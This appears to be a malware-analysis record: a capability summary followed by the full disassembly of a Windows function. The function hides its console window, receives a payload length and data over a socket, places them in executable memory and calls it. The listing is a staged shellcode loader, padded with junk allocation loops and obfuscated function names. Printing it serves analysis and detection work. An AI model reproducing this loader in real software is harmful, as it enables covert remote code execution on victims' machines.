Function at 0x40198d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xf404
call fcn.00402b50
sub esp, eax
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x4019ed
mov dword [esp], 0x25b7
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x7084], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1c19
jle 0x4019d1
call sym._XAYYHXy
call sym._FoLcaQtacWhwUye
mov dword [ebp - 0xe864], eax
mov dword [ebp - 0xc], 0
jmp 0x401a2b
mov dword [esp], 0x2464
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xe860], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1df6
jle 0x401a0f
mov eax, dword [ebp - 0xe864]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x1c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jne 0x401a6e
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x401a7c
mov eax, dword [ebp - 0xe864]
mov dword [esp], eax
call sym._gSNNdmYXzUw
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401ad2
call sym._pmumLekENOvdyhS
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x7084]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1c19
jle 0x401ab3
cmp dword [ebp - 0x14], 0
jne 0x401aef
mov eax, dword [ebp - 0xe864]
mov dword [esp], eax
call sym._gSNNdmYXzUw
mov eax, dword [ebp - 0x14]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x14]
lea edx, [eax + 1]
mov eax, dword [ebp - 0xe864]
mov dword [edx], eax
mov dword [ebp - 0xc], 0
jmp 0x401b28
mov dword [esp], 0x270e
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xf3f8], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2e4
jle 0x401b0c
mov dword [ebp - 0xc], 0
jmp 0x401b59
call sym._ucIzUifA
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xe860]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1df6
jle 0x401b3a
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 5]
mov eax, dword [ebp - 0xe864]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._CDzeOieeizMEag
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401bb9
call sym._AhwgOpBDfzlcT
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xf3f8]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2e4
jle 0x401b9a
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret